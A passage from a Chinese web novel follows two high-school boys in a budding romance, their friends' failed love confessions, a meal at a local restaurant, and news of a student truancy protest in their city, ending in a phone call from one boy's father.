理不理解的问题最终没被提起,因为两人都不理解——没有反方的“辨论”,说不下去的。 易承没留多久,跟着过了一套题后,俯身说道:“明早给你个惊喜。” 许桑偏了下头:“但愿有惊有喜。” “这话说的。”易承笑着勾唇,临走前,抓起他的手,亲了下手背,才飞毛腿似的奔了出去。 许桑抿了下唇,扶额:“……”蠢得没边了。 好像他不给亲一样- 清晨的第一抹阳光,是看不见了。 天气预报马后炮一样地提醒:“今日阴转小雨……望广大市民注意携带雨具。” 理一班教室今天静得出奇,即使在没有老师看守的早自习前,一个不清不楚没名没分的时间段。 “怎么了,这是?”陈慢出门出到一半,回去拿伞,所以晚了些到班上,却见班级学习氛围史无前例得浓厚,惊得走出去看看班级。 理科一班,没错啊!他还以为脑子一昏走到文科一班了…… 重新走进教室,他算是明白过来妖风从何吹起了。 “我靠,易哥,什么风把你吹来了?”陈慢压着声音看向最后一排奋笔疾书的人,一惊一乍地抹眼睛确认不是幻觉,“你不是一直蹭早自习的线吗?居然,居然今天到这么早!” 易承抬眸扫了他一眼:“……” 那冰凉的眼神好像在说:你惊个屁的喜! “纯纯好奇嘛。”陈慢有眼力见地回了座位。 “易承都开始努力学习了?那我是真有点危机感了。” “他上周请的假那么多,敢情是憋了个大的憋到现在开始奋发图强?” “不得了不得了,要是真让易承进步起来,那下次数学课训谁?下次物理生物化学课训谁?我可不想被老师口上有名!” “他娘娘个腿儿!谁允许易承开始学习的!我跟他的老路逍遥了一年了,他突然要学习了那我步谁的前尘!” “哎哟我操了个爹的。一进后门看到易承,我以为课都上了两节了。” …… 易承坐在座位,转笔速度快得能擦出火星子了,他有些哭笑不得地扫着题,听完一耳朵落个答案,翻卷子时,骂了一句: 他给许桑准备的惊喜,先叫别人议论起来了……还他妈骂得有盐有味! 他冷笑一声,正欲静心看题,身后忽地落了一声:“别跟我说,这就是惊喜。” 许桑眉眼疏冷,像是被清晨漫漫雾气上身,透着股凉意。 易承偏头,“还真就是了。” “……”许桑放下书包,冷声:“我以为,这该是自觉。” “嗯哼。”易承笑着回答,“早到学习的确是自觉。只是,第一次的早到,算不算惊喜?” 许桑淡淡扫他一眼,无奈应下:“算。” 听了一早上他俩的谈话,吕丁皱了皱眉,转过来,问:“什么第一次?” “你耳朵也是会长。”易承嗤笑一声。 关键词也是会抓。 “这话听着怎么也像在骂我!”吕丁直接转过头,把手中粉红色的信封放在两人桌子中间,“说真的,昨晚我想了一夜,憋出了这封情书,许哥,易哥,你们是我的好兄弟,帮我审审?” 话落,不知听了多久风声的陈慢也跟着跳出来,讪笑:“wait!还有我的!” “……” 许桑和易承一人抽了一封,三两秒扫完,极其默契地扣下,面无表情。 吕丁看着他们的表情,思忖两秒:“怎么了?是写得太令人动容了吗?” 听到关键词,陈慢也递出耳朵:“真的吗?” 许桑将手中陈慢这本递给吕丁,“换着看看就明白了。” 闻声,易承也将其递给陈慢,“拜读拜读?” 一分钟后,理一班教室后门,像窜错门的两排礼炮炸了,笑声滚雷一样滚得半教室的人都回了头。 两人憋红了脸,直接笑趴在地上,面子实在挂不住了,还趴地上狠劲儿地摩擦。 “早读了啊,今天背英语单词,准备听写,别看后面两只猴儿了!”英语课代表无奈站起身,主持早读。 等人头或多或少转过去,陈慢捶地:“神啊,‘我第一次遇见你,被你骂了个狗血淋头,当时我就在想,这世上怎会有此般的女人,一出现,便注定是我生命中的小辣椒。’哈哈哈哈哈,我要把这当成名言背下来,牛逼啊我擦!” 吕丁笑得肝疼,也不甘示弱:“滚你老大爷的。‘我是个真诚的人,从来不说假话。所以,我说你花容月貌,美过西施。为了你,我愿做那东施去效颦,只愿博你一笑。’笑死我了,慢慢,你这情话说得,有点瘆人啊!” 两人互读、欣赏完,打坐似的挺直腰板,屁股墩当板擦擦地,两脸哀怨地对视着:“这可怎么办呐!” 易承笑了声,余光向后一瞥,忽然放下笔,转身微微弯身,看向两人。 两人看救星一样看着他,仿佛一瞬间易承脸上贴了十斤亮片:“请易哥赐教!” “……”易承拍了下靠外边些吕丁的肩,和言:“老徐来了。” “我操!”腿不腿的,神经能调动哪是哪,两人手脚并用地蹿回了原位,捧书佯读- “你们昨天是不是集体踩了狗屎?”体育老师久不上课,都站不正了,歪着上半身站石台上皱眉,“到了体育课就不下雨了,天气预报都能逆转,狗屎得多大啊!” 说完,他嫌弃地努了努鼻子。 “亲爱的P.E老师,阴转小雨,还没开始转呢?”挂名体育课代表蹦起来,“您是不是老年痴呆犯了,天气预报都解读不了了?” “……”体育老师黑脸,“真不知道你们其他老师哪来的勇气占课。要让我去占课来教你们,切,宁愿吃狗屎也不教!” “自己走两圈,然后解散吧。”他也上赶着去指导并顺便拍两下篮球,没心情在这逼逼叨叨,“别回教学楼扰别人上课,别买了零食搁树下围圈圈就行。” 绕操场走两圈自然是没走的,篮球场有专业的人在训练,其余场附中也没建,只能在看台上干坐着啃零食。 “这儿!”吕丁提早站了两排台阶,招呼着人便坐下。 许桑自然坐在最上一级,而后易承挨着他坐下,手里拿着张卷子,时不时扫两眼。 “易哥,有点卷了啊。”陈慢坐在下一级台阶上。 易承“嗯”了一声,勾完题后,笑说:“给你们上点强度。” 陈慢:“……”这学习状态,拼不过! 他收回视线,从兜里摸出纸,大概是调整后的版本,看了一眼后,娇羞:“许哥,我对着你表白试试?” 闻声,粗长的题干在眼中瞬间劈叉,易承看过去:“不行。” 许桑后知后觉地笑了声,玩笑道:“怎么,怕我答应了?” “嗯。”易承小声地应了声,不过想出来的理由倒还冠冕堂皇,“你跟吕丁表去,思想同频,效率更高。” “诶?”陈慢双掌和鸣,蹦了一下:“有道理。” 说着,他看着旁边的吕丁,忽而深情款款:“又见面了,晓晓,我有话对你说。” “滚,不想听。”吕丁一秒回绝,又一秒进入状态,柔情似水:“hello,纳纳,有件事,我欠你很久了。” “这钩子好,我借鉴借鉴。”陈慢点评一句,忙切换,捧脸问:“欠我什么呀?” “呕~看你的脸说不出来。”吕丁缓了两秒,才笑容上脸:“欠你下辈子,还请余生跟我走。” “是不是过了点,这用词,改一下……” 两人在倒数第二级台阶上,琢磨得鸡飞狗跳,场面一度混乱。 倍受波及的赵鸿途,往下滑了四个台阶,才继续沉浸式地背四级单词。 易承倒受影响不大,做完最后一道题时,眉稍轻展,用笔头点了下许桑的手背,“看一眼。” “嗯?”许桑先是看了他一眼,目光才缓缓下移落到题上,“函数加数列,就难住了?” “……”易承听着他这轻飘飘的用词,偏头笑了声,“你这话别对别人说,容易拉仇恨。” “嗯。”许桑从他手中拿过笔,写,“对的是你。” 对你说的,所以……易承品了下这话外之意,舌尖轻顶上颚,展出笑颜,趁着前面两个憨货还在“我喜欢你”“你喜欢我吗”,他上前,就着许桑写题的姿势,在他脸侧轻轻亲了一下。 接着,小声说道:“我喜欢你。” 第64章 第64章 【“意义自己赋予,别赖我身…… 欠下的表白, 或者说,之前被抢先一步的表白,终归是补上了。 易承等了两秒, 没等到他反应,便伸手敲了敲他的肩头,“听到了吗?” “没听到。”许桑握着笔的手轻顿,作怪:“再说一遍?” “那我再说一遍, 纳纳,我喜欢喜欢喜欢你, 一辈子都不变!”吕丁用尽满腔热情在读表白词, 却见许桑皱着眉转头看他,忽然明白过来,连忙道歉,“不好意思,许哥,我刚串台了, 以为你跟我说话呢。” 易承在旁轻笑了声,还是宠溺地上前重复了句,甚至还贴心地先喊了他名字。 “够了。”许桑瞥他一眼,将他膝上的试卷转了个面,丢笔时,哂笑:“听腻了。” 易承挑眉:“……” 但凡许桑说话时眼底没含笑,他就不管这儿是不是学校,直接上前堵嘴了。 体育课就这点尿性, 明明被爱得最深却毫不自知,把自己的地位与其他课完全等同。 尤其是在课时上,毫无区分度可言。 “老师再见。”下课铃一响, 跑到天涯海角的学生都回来吱一声。 吱完,又散开了。 “等等,我现在腿紧张得发抖,好怕等会见到晓晓,没忍住给她跪一个。”陈慢挂在吕丁身上,声音都在发抖。 “那你他妈拉我做什么!”吕丁想甩甩不开他,“我家纳纳还等我呢。” “诶,你为什么不慌?”陈慢好奇地问了声。 久未发言的赵鸿途有了点动静:“他死拽着我呢。” 一旁,易承轻撞了下许桑的肩膀,勾唇:“你当时也这么紧张?” “没有。”许桑否认。 “为什么?”易承又贴近了些,“是肯定我会答应,还是,我没那么重要?” “……”许桑静静望着他的眼睛,平淡道:“明知故问。” “啧。”易承给自己问爽了,晃着他的手,脸都要笑烂了。 然后,一不小心引了两只蝶。 “哎哟喂,哎哟喂!笑到我心里去了。”一女生捧着脸,原地扭了扭腰。 在她旁边的男生也跟着说道:“早听他名声了,听事迹像1,笑起来,妈的,我想上去要微信!” “去去去,顺便帮姐问一个,有福同享。” “等等。”男生视线一转,跟易承擦身而过时,就瞥到了牵在一起的手,眯缝着眼,大声:“糟了,有人抢我老公了!” 女生没眼看地拽着他跑开:“……” 好兄弟,表白都是要来当背景板的。 划拳决定先“死”吕丁后,五人先去了趟李纳所在班级——吕丁脸混得熟,人缘也不错,直接进班了。 半秒没等,陈慢就冲去旁边的班级,抓紧时间表白。 毕竟,要是吕丁先表完了。成了,他没脸不成;没成,他也没脸成……横竖都是将就,不如心无旁骛地去并肩异台作战。 天气预报还是有些准头的——阴转小雨,转过来了。 乌沉的天端,成缕成丝的云过完年吃胖了一样,重得往下压,用身体重量榨油似的榨出浑圆的雨点,自九万丈高空垂直坠落,在广袤的大地上砸出劈里啪啦的动静。 不对,天气预报有误:这雨大得能砸死人了,小个屁啊! “梧桐更兼细雨,到黄昏,点点滴滴。这次第,怎一个愁字了得!”赵鸿途有感而发,吟旧诗一首。 吟完,一道惊雷忽现,劈得刚出教室近乎同步的两人脚下一滑,差点摔成狗屎。 赵鸿途停止背书,上前:“怎么样?成功了吗?” “借你吉诗。”吕丁笑成一朵花,又瞬间垮成一坨泥,“她说这辈子都不可能。” 视线转给陈慢,陈慢似乎稳重不少:“她说,她喜欢学习好的,等我考上年级第一再说话。” “呜呜呜……附中是死绝了吗?我去考第一!啊啊啊啊啊……” “……”稳重不了一点。 易承看了眼赵鸿途,没停留,说道:“扶人回去,别丢脸了。” 自打回了教室,后排便鸦雀无声,安静得徐富半夜做梦都能笑醒。 “呵呵,呵呵呵呵。”吕丁摆弄着笔,排成排,又塞回笔篓,一直歪着嘴哼哼唧唧。 “哈哈,哈哈哈哈。”陈慢揉着纸团,揉了就撕,撕成碎条又揉成一坨,颤抖着背,嘴里抖出瘆人的气声。 他同桌坐不住了,背后来一声就罢了,旁边也来一声,断断续续没完没了的,听多了他晚上甭想睡觉了,想及此,他轻拍了一下旁边的人,小声: “那个什么,陈班,要不,你和赵鸿途换个座位吧,我和鸿途学习,你和吕丁一起……呵呵哈哈?” 陈慢飞了个幽怨的眼神过去:“嗯?” “啊哈哈哈,没事没事。”他同桌收回话,本想再去劝劝吕丁,转头就见吕丁忽然大叫一声,蹬开椅子站了起来,三两步冲出了教室。 “嗯?” 守自习的徐富都惊了一跳,撂下教案本就往外冲,冲之前还不忘喊一声,“好好自习,我去看眼情况。” 教室里坐不住了,叽喳起来。 “怎么了这是?不会失心疯了吧?” “他不会,不会去跳楼吧?我昨天刷视频刷到十七中那个了,现在他们还放着假,不知道该说羡慕还是害怕了。” “以我对吕丁的了解,八成是尿憋急了,或者是屎憋多了。” “越界了兄弟,你说得有点恶心,我宁愿相信他是学吐了想去外面放松放松。” “真相永远被后听到,我闺蜜说,吕丁找她表白去了,现在估计是受了情伤,受不住就出去哭了。” “不应该啊,陈班跟着一起表的,他心理能力不可能那么强,也没见他跟着出去哭啊!” …… 徐富回来时,教室都快被掀翻了,他背着手走进后门,锐利的眼神一扫,却先落在了易承身上。 少年坐得端正,比穿了背背佳效果还好。加绒卫衣外,校服套得规规整整,就跟那校容校貌示范图一样。 课桌上书卷齐整,此时他握着只红笔,正大杀四方地对答案,视线一扫,一溜下来没动笔。翻页儿,中指拨动红笔一转,只在一小细节处划了一条斜杆。 徐富依稀记得:易小子不喜打勾,当年让试卷改卷,回头收作业时,他原封不动地交上来,他怒火攻心地去问易承,易承也只是风轻云淡地说“没错改什么”。他又教规矩似的跟易承说“那起码打个大勾啊”,易承也只是笑笑:“懒得。” “……”现在想想都还是一肚子气。 可是,时隔那么久,再看到这神似的一幕,徐富不知怎的,竟有些难言,半天才咧嘴一笑,正想上前拍拍他肩以示欣慰,屁股就被一撞。 “哎哟!” 吕丁火急火燎跑进来时,被徐富撅出来的屁股一挡,往后撞出了后门,惊得鼻涕都断流了。 徐富站起来,脸都紫了:“……” “对不起,老徐。”吕丁抹着红彤彤的眼眶,“我窜稀,让您白担心一场。” 教室里隐隐传出闷雷似的笑声- “真窜了?”陈慢也没个好形象,哭得已经提不起劲儿了。 “嗯。”吕丁叹气,“哭得我一抽一抽的,扯得肚子痛,然后就……” “够了,说到这够了,细节就不必重复了。”陈慢双手比了把大叉,疑惑得四处张望,“诶?易哥呢,他不是让我们等他,说带我们去吃饭来着,人呢?” 许桑在一旁发话:“上厕所。” 顺便发条信息。 “哦哦。”陈慢用肿眼看了眼许桑,直觉他跟易承关系很不错,套密码一样问道:“许哥,你知道易哥要带我们去哪吃饭吗?” 许桑应道:“牛逼炒馆。” “牛逼炒馆?真是陌生又熟悉的名字。”吕丁听到名字时,愣了一下,“不是雷区吗?” “有人请。”易承从远处走来,肩膀自然地碰了下许桑的,笑问:“一句话,去不去?” 自动翻译为当餐免费,吕丁双手双脚赞成:“那十成十要去啊。慢慢,鸿途,快吱个声,霸王餐不吃白不吃!” 易承听着这用词:“……” 第二次集体来这有阴影的炒馆,迈进门的腿是有几分抗拒的,但奈何门槛太低,脚不抬都自动刺溜进去了,相当丝滑。 “欢迎光临,几位?”老板迎客迎得越发有情绪价值了,见到后面的易承,眼睛一亮,“哦,熟人局啊,里面请!” “熟人?”吕丁问道:“吃一次就熟了,那——” “想多了,这位同学。”李承宇围着条粉红的围裙,坐在了这桌的空位上,笑说:“我跟你们易同学熟。” “哦?”陈慢坐在他旁边,眼睛都睁大了不少,“那刚好,我们跟易哥也熟,大家都是朋友!” “这么自来熟。”李承宇给他倒了杯饮料,“沸点好低啊,小朋友。” 陈慢一噎:“……”有点恶心,这是不是错觉! 菜上的都是几款新品,摆盘用具貌似都提了个档次,老板把菜端上来时,说道:“你们尝尝,顺便给点意见,或者取个名字,一经采用,500元奖金!另外,牛逼炒馆明天就关停修缮,估摸着,翻了年三四月份,或者更晚些时候,全面、重新开张!” “欢迎大家到时候来捧场!有钱的捧个钱场,没钱的捧个人场!” “串词了,爸!”李承宇听着尴尬癌都犯了,接替着他说道,“这段时间,如果怀念我们的味道,可以去‘一个水果店’,一周后开业,改名为‘李记掌勺’,有惊喜菜品哦!” 合计着听了四五分钟的广告呗。 易承动筷,先一步挑走了桌面话题走势,“吃吧,回去还上晚自习。” “哦哦哦。”三声齐应。 许桑落筷落得早,抽了张纸巾擦嘴,俯身,轻声问了句易承,“怎么做到的?” “死缠烂打。”易承笑说,干净的瞳孔里,闪着细碎的光点。 许桑轻敛眉,“嗯?” “心至诚,则金石为开。”易承凹了一句。 许桑眉梢轻挑,从他侧脸移开目光,就见方才还素不相识的三人打成一片。 “说起来,我高中的时候也喜欢过女生,就我前桌,我特喜欢她的长马尾,每次趁她不注意就把她的发丝缠在食指上。”李承宇说的时候笑了笑,“不过,她每次察觉到,都跟犯病的猪一样开始乱拱,把自己头发甩断几根都不愿意伸手跟我有任何肢体接触。” “我跟她表白的时候,她说,让我长发及腰的时候再跟她表白。我当时就疑惑,为什么?后来她说,因为我,她头发都不怎么长了……没钱补发,要我还债!” 陈慢就近用可乐杯碰了下他的白酒杯,“哈哈哈……半斤八两,让男人长发及腰,就跟让我考年级第一一样,都是借口,呜呜呜……” “同感,我的那位虽然没提什么要求,但显而易见,我没完成什么上刀山下火海的任务,她不可能松口的。”吕丁把雪碧杯支过去,“干一个,兄弟!” “都是同病相怜的兄弟啊。”李承宇说着就掩面而泣,“让我们一醉方休!” 易承新拿了双筷子,挑住了李承宇要下倒给陈慢的酒,轻皱眉:“醉什么醉。” “哦,不好意思,未成年不能喝酒。”李承宇把酒瓶立正,憨笑,“小卡拉米们,实在抱歉,我上头了,你们回去好好学习,上大学就好了。” “真的吗?”四只眼睛向他看去。 李承宇晃晃头:“嗯,上大学之后,你就知道,这点苦,连开胃菜都算不上。” 一桌子向往大学生活的高中生:“……” “不过也不用太担心,”李承宇指了指自己,“上大学混成我这样的,屈指可数。” 跟人接触不深,还判定不了是根草还是是个宝,吕丁问:“你哪样?” “自然是好啊!老子创业项目三个成两个,拉投资都拉了近百万,牛逼得一塌糊涂好吧!”李承宇理了理衣襟,“不过我志向不在那里,就不去当什么娇花白领。所以说,厉害的大学生少之又少,你们的天地广着呢,前提是先考上哈。” 吕丁又问:“那,大学生活到底幸福不幸福?” “看情况吧。反正大学教的东西,百分之百落后时代五年半,认真学呢,毕业上岗之后职员把你当傻逼;不认真学呢,连傻逼都还当不上。都不好,就看你选择不好到哪种程度。” 赵鸿途听得仔细:“五年半,什么意思?” 许桑轻顿,直言:“即使最跟时代的专业,申请立科到批准,基本需要一年半。大学学四年,毕业刚好晚五年半。” “聪明啊!”李承宇激动得拍手,“你了解得真多,我还以为是我的独家发现呢。” 许桑:“……” 李承宇想了想,决定绕开这个话题,太伤害人了:“不过好与不好,体验了才知道,别光听过来人说。过来人都是屁,脸蛋家庭才学,样样不同,有个毛线的参考价值。” 陈慢就近跟他碰了个空杯:“有道理。” “那自然有道理,遇到我,你们真是几辈子修来的福分。”见时间快到上课的点了,李承宇交代了临走前的话,“看到漂亮的单身姐姐,记得介绍给我!” 几人愣住:“……”听听这话是该对未成年高中生说的吗? 雨势渐渐大起来,趁着雨停孤身跑出来的几人,似乎有些悔意了。不过,毛毛细雨,浇不湿身,倒也走得自在。 赵鸿途背着手,好奇地问:“许哥,你怎么连大学的东西都知道?” 许桑回道:“闲书里翻到过。” “好厉害。”赵鸿途眼里泛着羡慕,一瞬口便说出了掩藏心底很久的话,或许是李承宇无话不谈的导引,让他不小心也沾了些脱口而出的脾性,“感觉大城市出来的人,和我们确实不太一样,见得多,学得也多。” 他这话,勾得剩下几人心里也泛起些高高低低的情绪。 许桑轻挑眉,余光瞥了他一眼,回道:“或许吧。” 他没否认……赵鸿途眼里期冀的光黯淡下去,他急不可耐地问出下一个问题,像抓住救命稻草般渴急,“那,许哥,你的梦想是什么?” 跟着厉害的人,准没错,他是这么想的。 “你有?”许桑不答反问。 赵鸿途低声:“考个好大学吧,不过专业啊,职业啊,都没太想过,也想不到。” “我也是。”吕丁跟话,“不过以我的成绩,感觉不太可能,要是到时候本科线都上不去,我就只能去搬砖了。” 陈慢缓了会才说话:“好大学我还是想上的,就是看别人要不要我。不过,就搬砖这个事儿啊,我爸的几句话,搞得我快怀疑读书的意义了。” “嗯?”吕丁问道。 “我爸说,有的人天生就力大适合搬砖,可偏偏要送去读书,好了,十几年读完,天天屁股不离凳,力气都磨完了,到头来,书读不下去,学上不起,跑来搬砖又脆皮!”陈慢一摊手,“是不是很有道理?” “哈哈哈哈……” 笑着笑着,就笑不下去了,好似陈慢他爸的调侃就像是一条路,而这条路,或许有一天,他们会走上去。 “所以,读书的意义到底是什么?”陈慢转过头来,问许桑。 大概是觉得,许桑是他们当中,唯一有资格说话的。 许桑脚步一顿,拒绝回答似的问吕丁和陈慢:“不伤心表白被拒了?” 吕丁、陈慢:“……”一刀子扎心上,扎得结结实实! 见状,许桑轻笑一声。 他想了想,回答:“意义自己赋予,别赖我身上。”- 回教室后,同学们自习课上得好好的,突然被临时通知:“这节课,数学老师占了!” 徐富走进来,就听到一阵的怨声载道,心口子一疼,他连忙解释:“同学们,冤枉。我这节课来呢,单纯是给你们开节班会,没别的,真没别的。” 底下同学出奇一致:“呵,我信了。” “……”徐富嘴角抽两抽,“应学校要求,我们来定期励志励志!打打鸡血,才好继续向前嘛!” 这一记鸡血来得莫名其妙,说者有意,听者却无心——亢奋不了一点。 但念及学校临时加的命令,徐富只能继续,说得鸡飞蛋打。 他默默在内心汗颜:这窝学生是死耗子吗?响鼓打了半天不来气。 …… 迎着淅淅沥沥的小雨,许桑将易承送到他家楼下,“走了。” “不上去坐坐?”易承诱道。 许桑退开一步:“吵着秋秋不太好。” “她不在。”易承上前,拽住他手腕,附耳:“戚姨抱过去玩几天,最近不回来。” 许桑跟他走:“哦。” 多搬了根椅子进房间,两人并肩坐下,因为书桌面积有限,时不时地胳膊肘蹭胳膊,蹭得人心头浮躁。 不过浮躁归浮躁,题是半点没落下,做得一样的顺溜。 一张卷子算完,许桑按了下肩颈,两手交叠,正欲按揉时,易承的手伸了过来。 “手给我。”易承道。 “嗯?”许桑听话地把双手给他。 易承轻笑,“给你揉揉。” 长时间握笔的手,其实也很有辨识度:顶头薄薄一层茧,摸上去会有些顿感。 更有甚者,会出现弯曲、变形。 但许桑没有,一双手仍是好看的,估计是时写时矫正,承笔的力点偶尔会变,不固定所以造不成持久的影响。 轻轻按揉着指节,将皮肤的细软与指骨的硬质体味,易承轻笑道:“你做题速度很快。” 许桑任他按着,舒服得眯了眯眼:“你进步也很快。” 易承勾唇,“那你觉得,最终南城附中的第一会是谁?” 许桑毫无犹豫:“你。” “为什么?”易承虽有自信,但也没那么有自信能超过许桑,闻声由衷诧异。 许桑轻笑:“我不在这考。” 易承顿住:“……” 一时不知该说谁自恋。 没等这个问题有分晓,许桑的手机忽的响了,他抽出一只手,没避讳地直接接听。 “许哥,许哥。”梁意杉在路上,声音被狂风拍打着。 许桑应了声:“说。” “我今天刷视频,忽然吃到你们南城的瓜,我天,还是个烂瓜。”梁意杉说道,“听说花了大价钱都没压下去,家长闹得很厉害来着。你知道吗?” 第65章 第65章 【“真给你刺到了?”】…… 许桑在脑中过了一遍, 没搜寻到任何有关信息,直言:“不知道。” “许哥你真是‘两耳不闻窗外事,一心只读圣贤书’, 读书人的迂腐。”梁意杉笑着讽了一句。 用词上,许桑没计较;至于这话中之意,他也没否认:他确实不太爱听闲事,即使有关自己。想着问问怎么回事, 身旁的易承先懒洋洋地跟了一句,“我也不知道, 比你更迂腐?” 许桑看他一眼, 凝顿良久后笑了声。 “有人呐!”梁意杉估摸着是到宿舍楼了,声音从风声里逃离出来,又躲进杂物间——一个秘密基地,当时许桑还在青中的时候,和他找到的地方。 还挺因祸得福的一次经历。他和梁意杉都是单人宿舍,对房, 还在楼梯旁,每次回寝都有种与世隔绝的感觉。 高二上的时候,他不小心被人反锁在隔间,霹雳乓啷搞了一堆动静,隔间隔音效果却出奇得好,一时愣是没人发现。后面寝室阿姨查寝时觉得不对,跟楼长找了一晚上才找到,之后就把隔间锁起来了。 然后, 许桑带着梁意杉把锁撬了——图得就是隔音效果好。 梁意杉坐在柜台上,惊了一跳,“这声音, 不会吧?!你男——” 许桑打断他:“有事说事。” “我靠,许哥,打视频电话行不行?”梁意杉声调激动,“我,我最近变帅了,许哥要不要看看?我绝对不是想看你身边那位,单纯让你一饱眼福,看看我这样的帅哥,好不好?” 技术含量为零的算盘……许桑从易承脸上移开视线:“不好。” “……行吧。”梁意杉瘪嘴,“那寒假放假我就来南城。” 闻声,许桑有半刻的动容:“随你。” 估计是查寝时间近了,梁意杉终于往正道上拉:“说正‘瓜’。视频对象是你们南城某个中学,听着很拉,十几中来着,按我们的排序就挺吊车尾,不知道在你们那是不是。我看标题很博眼球,叫什么‘集体厌学’……据说这个十几中,高三拢共就十几个班,结果所有到班同学加起来不到二十个,平摊下来就是说,一个班来一个学生?!啊哈,搞笑吧。更搞笑的是,学生不去学校,家长去学校了。” “有拉横幅的,有拍视频的,有写信控诉的,五花八门的,反正最终目的就是骂学校,说把孩子交给学校结果交出的孩子一个比一个讨厌学习……笑死,最关键的是,听说地理位置临近的几个学校学生都跟着有了动静,片打片的,搞什么罢□□动似的。不过你居然没听到风声,我以为你们那片传了个人尽皆知才轮到我们,没想到数据推送先想到我们这群高三牲了,真是,想鼓吹鼓吹我们吗?也是搞笑了。” 说完,他还发了几张截图——梁意杉记得许桑不喜欢看视频,索性直接截了重点。 图片都配有文字,不过看得出配文字的人挺逗的。 “夜半三更不睡觉来学校站岗的家长团”、“我就说家长来学校待久了也会疯吧”、“学习学习,比工厂代工时长还长,学生是南孚电池么续航能力那么强”、“不开玩笑,尖子生还挺在前线”。 四张图,场面一张比一张阔大,从校门口一直扩到几栋教学楼……学校隐私全无,被拍了个毕览无余。 许桑静静地翻着这些图,最终返回第一张,将“家长团”放大。情理之中却又意料之外地,他看到了满脸忧愁的刘姨,手中正举着纸团,画中画一样,有手机把她连同那张密密麻麻的纸拍了进去。 “怎么安静了,你不是不住校了吗?”梁意杉习惯性以为他躲宿管才安静下去,反应过来才一拍脑门,“我是不是刷到了、或者知道了不该知道的东西?” 许桑淡声:“这和公之于众没区别。” 联想刚才梁意杉说的,“花大价钱都没压下去”,此刻在大数据上留痕了,只要存在有心人,这事能一直为人所知以至广为人知。 “那我就放心了。”梁意杉滑了滑截图,嗤笑一声,“怎么好不容易刷到一条关于你那边的高热度事件,还是负面的,挺膈应的。你在那边好不好啊?要不我跟老袁说,曲线救国靠他劝你爸把你弄回青中?” 许桑摁灭手机屏,“……你管得有点宽。” “好吧,不过这事虽烂但跟你好像没关系。说你厌学,我还不如相信:你喜欢我。”梁意杉为自己开的玩笑窃喜了两秒,发现听筒里没传出声音,忙问道:“我话都说到这地步了,你旁边那位都不说个话不吃个醋什么的吗?” 闻声,易承挑了挑眉:套他干嘛! 许桑貌似没将这话放在心上,只是淡淡地结束聊天,“洗洗睡吧。” “……”梁意杉以为他挂了,艰难打开隔间,嘀咕了句,“许哥男朋友占有欲这么低,是不是不行啊?” 正当他推门进寝室,手机里忽然传出声响,吓得他抖了个激灵,直接平摔进了寝室,哐当一声。 声音是易承的,压得有些低,一如他平时抡棍子扛架的气场:“这位弟弟,劳驾挂个电话。” 梁意杉:“……” 他感受到自己肾上腺素暴增。 “对不起对不起,我啰嗦了。”梁意杉扯出抹尽量温和的笑,不过估计对面看不到,所以他笑出声了,听着像老掉牙的汽车引擎,“不要放在心上,许哥喜欢心胸宽广虚怀若谷的……嘿嘿。” 易承轻笑一声:“……”话都说不利索了还要拿许桑压他一头。 这俩人一个比一个会来事,许桑没再放任,抽回一直被易承握住的右手,摁断电话:“挂了。” 屏断这些杂音,许桑看着截图,没抬头地问道:“有什么想法?” 易承只瞥了截图一眼,之后目光一直缱绻在许桑侧对他的眉眼,平滑下移,兴味似的落在他唇间良久,又下移,落在他褪去外套后露出的一截长颈,颈侧线条优美,像艺术家毕生的雕琢。 没听到回答,许桑不太耐心地问了声:“嗯?” 回答他的依旧是沉默,许桑偏头,目光还没触及易承的脸,一只手就重重抵住他的下颌角,猛地向上一抬。 拇指指腹带过耳垂,激起短暂的酥麻,后腰跟着一缩。 这点细密的触感还未通达全身,颈侧就落下一朵温热,随后是愈加强烈的刺痛,像是尖牙的磨咬。 痛得有些刺激,所以许桑的第一反应不是推开人,而是侧过脖子去躲…… 并不持久,许桑理清楚触感时,易承已经收了“犬牙”,趴在他颈侧,急促的呼吸扑落在锁骨,伴着隐隐约约能感受到的狂热心跳。 “真给你刺到了?”许桑笑着开口时,才发觉自己嗓子有些哑。 “嗯。”易承手环过他的腰,索抱,“你这位朋友,话真多。” 许桑也给人回了一个拥抱,将方才的刺痛消化掉时,眉眼低垂,无意扫过易承的侧颜,只能看清他挺翘的鼻头和发红的唇,他喉头轻滚:“我记得,跟你说过。” “嗯。”易承闷笑一声,“我以为顶多是吕丁的一半。” 许桑:“……” 梁意杉这方面,确实拿不出手。 平复些心情后,易承就着这姿势说话:“我的想法是,你那位朋友说得对。厌学这事,与你无关,多半也与我无关。” “嗯。”许桑认同。 不过第二天到学校时,这句“无关”多少有些飘摇。 陈慢在黑板上写今日请假学生,平日里从不需要扩框的区域,如今字号放到最小,还需要另列。 周三,请假人数:6人。 由前到后,各班的请假人数呈递增等差数列,在学校校园墙上传出来时,激起了不小的动静。 关键是,就连每天都想尽理由把病假学生“批斗”一顿的徐富,今日都未曾提过任何有关“请假”的事情。 周四,陈慢头发多掉十根。 病假兼事假人数:10人——还全是三个字的名字! 一直到周六,病假兼事假人数达到本周巅峰:19人。 也就是说,按势头再发展下去,该是学校空城现象了- 周六放学铃声响起,许桑简单收拾完东西,便跟易承打车去书店。 这周清闲,老师在一片不知所云的焦头烂额里迷失了上课热情,一半的时间放任出来上自习,另一半的时间是在复习基础知识点——说是怕没来的学生跟不上。 能刷的卷子已经刷了个差不多,易承提议出来找找资料书。 也顺便见见新题型。 “诚明书店。”下车后,易承指着前方的三层建筑说道,“在南城算比较全面的书店了。说真的,十几年前,它还叫李明书店,因为开店的叔叔就叫这名,后来估摸着是翻多了英语试卷,就改了。” 许桑笑了声,“去的学生都不提醒?” “可能没开起来,人少。”易承笑说,“也可能是觉得就这样挺有意思。” 许桑轻点头,想到什么似的,问道:“这一带,学校挺多?” “算多吧。”易承来过这,“一所私立十七中,还有两所老高中,老得快没生源了。” “嗯。”许桑应了声。 书店一楼,是电子设备兼名著、咖啡自习区,资料书教辅之类的通常在二楼三楼,根据年级依次排列。 许桑提步,要进去前,兜里的手机响了。 这几日梁意杉总会以“最新进展”等各种理由打电话过来,好似闲得不是一星半点……所以他下意识就接了,没看清来电人。 外放的,还没点免提,奈何里面人嗓门大,自带扩音效果: “许桑,我听说南城最近发生的事儿了,这么严重如此恶劣,你怎么都不打电话跟我说一声,又一声不吭自己扛吗?” 许桑轻顿。 那头,男人声音浑厚,像老树皮的质感:“手续我让人准备,要不,你还是转学回来吧?” 第66章 第66章 【“那得先有脑子。”】…… 许桑偏头戴上耳机, 同时回道:“不回。” “你跟我犟牛脾气干什么?我是你老子你是我老子?简直没有一点规矩,况且老子现在工作时间抽空给你打的电话,你以为我闲得很多想管你。”许铭惯性发气。 